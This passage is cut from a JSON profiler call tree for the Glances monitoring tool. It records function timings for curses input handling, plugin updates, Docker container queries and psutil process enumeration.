[{\"identifier\": \"[self]\",\"time\": 0.100501,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100555,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055485899647465, \"l291\": 0.10055485899647465},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100555,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055485899647465, \"l260\": 0.10055485899647465},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100555,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100555,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100435,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043546100496314, \"l1202\": 0.10043546100496314},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100435,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100435,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100451,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045148199424148, \"l291\": 0.10045148199424148},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100451,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045148199424148, \"l260\": 0.10045148199424148},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100451,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100451,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100627,\"attributes\": {\"cGlancesCursesStandalone\": 0.10062692200153833, \"l1202\": 0.10062692200153833},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100627,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100627,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100577,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057724700163817, \"l291\": 0.10057724700163817},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100577,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057724700163817, \"l260\": 0.10057724700163817},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100577,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100577,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100594,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059358600119594, \"l1202\": 0.10059358600119594},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100594,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100594,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100555,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055475399713032, \"l291\": 0.10055475399713032},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100555,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055475399713032, \"l260\": 0.10055475399713032},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100555,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100555,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100508,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050767400389304, \"l1202\": 0.10050767400389304},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100508,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100508,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100573,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057342299842276, \"l291\": 0.10057342299842276},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100573,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057342299842276, \"l260\": 0.10057342299842276},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100573,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100573,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100481,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048098400147865, \"l1202\": 0.10048098400147865},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100481,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100481,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100555,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055456999543821, \"l291\": 0.10055456999543821},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100555,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055456999543821, \"l260\": 0.10055456999543821},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100555,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100555,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100409,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040876800485421, \"l1202\": 0.10040876800485421},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100409,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100409,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100562,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056205799628515, \"l291\": 0.10056205799628515},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100562,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056205799628515, \"l260\": 0.10056205799628515},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100562,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100562,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100462,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046189700369723, \"l1202\": 0.10046189700369723},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100462,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100462,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100573,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057308599789394, \"l291\": 0.10057308599789394},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100573,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057308599789394, \"l260\": 0.10057308599789394},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100573,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100573,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100525,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052547600207618, \"l1202\": 0.10052547600207618},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100525,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100525,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100670,\"attributes\": {\"cGlancesCursesStandalone\": 0.10067025699390797, \"l291\": 0.10067025699390797},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100670,\"attributes\": {\"cGlancesCursesStandalone\": 0.10067025699390797, \"l260\": 0.10067025699390797},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100670,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100670,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100452,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045216400612844, \"l1202\": 0.10045216400612844},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100452,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100452,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.144229,\"attributes\": {\"cGlancesStats\": 0.14422930299770087, \"l287\": 0.14422930299770087},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.144229,\"attributes\": {\"cGlancesStats\": 0.14422930299770087, \"l575\": 0.14422930299770087},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.144229,\"attributes\": {\"l571\": 0.14422930299770087},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.144229,\"attributes\": {\"cGlancesStats\": 0.14422930299770087, \"l274\": 0.12312641599419294, \"l275\": 0.02110288700350793},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.001666,\"attributes\": {\"cPortsPlugin\": 0.0016661079935147427, \"l1278\": 0.0016661079935147427},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.001666,\"attributes\": {\"l1295\": 0.0016661079935147427},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/ports/__init__.py\\u0000102\",\"time\": 0.001666,\"attributes\": {\"cPortsPlugin\": 0.0016661079935147427, \"l117\": 0.0016661079935147427},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000974\",\"time\": 0.001666,\"attributes\": {\"cThreadScanner\": 0.0016661079935147427, \"l1010\": 0.0016661079935147427},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000651\",\"time\": 0.001666,\"attributes\": {\"cEvent\": 0.0016661079935147427, \"l669\": 0.0016661079935147427},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000337\",\"time\": 0.001666,\"attributes\": {\"cCondition\": 0.0016661079935147427, \"l369\": 0.0016661079935147427},\"children\": [{\"identifier\": \"lock.acquire\\u0000<built-in>\\u00000\",\"time\": 0.001666,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001666,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000179\",\"time\": 0.001486,\"attributes\": {\"cDiskioPlugin\": 0.0014863260003039613, \"l182\": 0.0014863260003039613},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.001486,\"attributes\": {\"cDiskioPlugin\": 0.0014863260003039613, \"l686\": 0.0014863260003039613},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001486,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.083982,\"attributes\": {\"cContainersPlugin\": 0.0021785720018669963, \"l1278\": 0.08398230300372234, \"cProcesscountPlugin\": 0.08180373100185534},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.083982,\"attributes\": {\"l1295\": 0.08398230300372234},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.002179,\"attributes\": {\"cContainersPlugin\": 0.0021785720018669963, \"l252\": 0.0021785720018669963},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.002179,\"attributes\": {\"l256\": 0.0021785720018669963},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.002179,\"attributes\": {\"l248\": 0.0021785720018669963},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.002179,\"attributes\": {\"cDockerExtension\": 0.0021785720018669963, \"l260\": 0.0021785720018669963},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.002179,\"attributes\": {\"cContainerCollection\": 0.0021785720018669963, \"l1009\": 0.0021785720018669963},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.002179,\"attributes\": {\"cAPIClient\": 0.0021785720018669963, \"l212\": 0.0021785720018669963},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.002179,\"attributes\": {\"cAPIClient\": 0.0021785720018669963, \"l44\": 0.0021785720018669963},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.002179,\"attributes\": {\"cAPIClient\": 0.0021785720018669963, \"l246\": 0.0021785720018669963},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.002179,\"attributes\": {\"cAPIClient\": 0.0021785720018669963, \"l602\": 0.0021785720018669963},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.002179,\"attributes\": {\"cAPIClient\": 0.0021785720018669963, \"l589\": 0.0021785720018669963},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.002179,\"attributes\": {\"cAPIClient\": 0.0021785720018669963, \"l703\": 0.0021785720018669963},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.002179,\"attributes\": {\"cUnixHTTPAdapter\": 0.0021785720018669963, \"l644\": 0.0021785720018669963},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.002179,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0021785720018669963, \"l787\": 0.0021785720018669963},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.002179,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0021785720018669963, \"l534\": 0.0021785720018669963},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.002179,\"attributes\": {\"cUnixHTTPConnection\": 0.0021785720018669963, \"l571\": 0.0021785720018669963},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.002179,\"attributes\": {\"cUnixHTTPConnection\": 0.0021785720018669963, \"l1430\": 0.0021785720018669963},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.002179,\"attributes\": {\"cHTTPResponse\": 0.0021785720018669963, \"l331\": 0.0021785720018669963},\"children\": [{\"identifier\": \"_read_status\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000291\",\"time\": 0.002179,\"attributes\": {\"cHTTPResponse\": 0.0021785720018669963, \"l292\": 0.0021785720018669963},\"children\": [{\"identifier\": \"readinto\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/socket.py\\u0000712\",\"time\": 0.002179,\"attributes\": {\"cSocketIO\": 0.0021785720018669963, \"l725\": 0.0021785720018669963},\"children\": [{\"identifier\": \"socket.recv_into\\u0000<built-in>\\u00000\",\"time\": 0.002179,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002179,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.081804,\"attributes\": {\"cProcesscountPlugin\": 0.08180373100185534, \"l85\": 0.08180373100185534},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.081804,\"attributes\": {\"cGlancesProcesses\": 0.08180373100185534, \"l617\": 0.07580404399777763, \"l624\": 0.002012338001804892, \"l653\": 0.0021014730009483173, \"l659\": 0.0018858760013245046},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.075804,\"attributes\": {\"cGlancesProcesses\": 0.07580404399777763, \"l478\": 0.06780790899938438, \"l493\": 0.007996134998393245},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.067808,\"attributes\": {\"l1541\": 0.0019120369979646057, \"l1558\": 0.06589587200141978},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.001912,\"attributes\": {\"l1485\": 0.0019120369979646057},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.001912,\"attributes\": {\"l1526\": 0.0019120369979646057},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.001912,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001912,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.013893,\"attributes\": {\"cProcess\": 0.01389266700425651, \"l579\": 0.011911108005733695, \"l572\": 0.0019815589985228144},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001905,\"attributes\": {\"cProcess\": 0.0019048110043513589, \"l939\": 0.0019048110043513589},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001905,\"attributes\": {\"cProcess\": 0.0019048110043513589, \"l1593\": 0.0019048110043513589},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001905,\"attributes\": {\"cProcess\": 0.0019048110043513589, \"l2052\": 0.0019048110043513589},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001905,\"attributes\": {\"cProcess\": 0.0019048110043513589, \"l1593\": 0.0019048110043513589},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001905,\"attributes\": {\"cProcess\": 0.0019048110043513589, \"l382\": 0.0019048110043513589},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001905,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001994845995795913, \"l680\": 0.001994845995795913},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001994845995795913, \"l1593\": 0.001994845995795913},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001994845995795913, \"l1740\": 0.001994845995795913},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001994845995795913, \"l1593\": 0.001994845995795913},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001994845995795913, \"l382\": 0.001994845995795913},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001994845995795913, \"l1687\": 0.001994845995795913},\"children\": [{\"identifier\": \"bytes.rfind\\u0000<built-in>\\u00000\",\"time\": 0.001995,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003000026918016, \"l748\": 0.0020003000026918016},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003000026918016, \"l1593\": 0.0020003000026918016},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003000026918016, \"l1754\": 0.0020003000026918016},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003000026918016, \"l1647\": 0.0020003000026918016},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003000026918016, \"l1638\": 0.0020003000026918016},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.0020003000026918016},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l718\": 0.0020003000026918016},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0020003000026918016},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988619969808497, \"l939\": 0.0019988619969808497},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988619969808497, \"l1593\": 0.0019988619969808497},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988619969808497, \"l2052\": 0.0019988619969808497},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988619969808497, \"l1593\": 0.0019988619969808497},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988619969808497, \"l382\": 0.0019988619969808497},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019988619969808497, \"l1718\": 0.0019988619969808497},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.0019988619969808497},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998685002035927, \"l836\": 0.001998685002035927},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998685002035927, \"l1593\": 0.001998685002035927},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998685002035927, \"l1796\": 0.001998685002035927},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.001998685002035927},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": 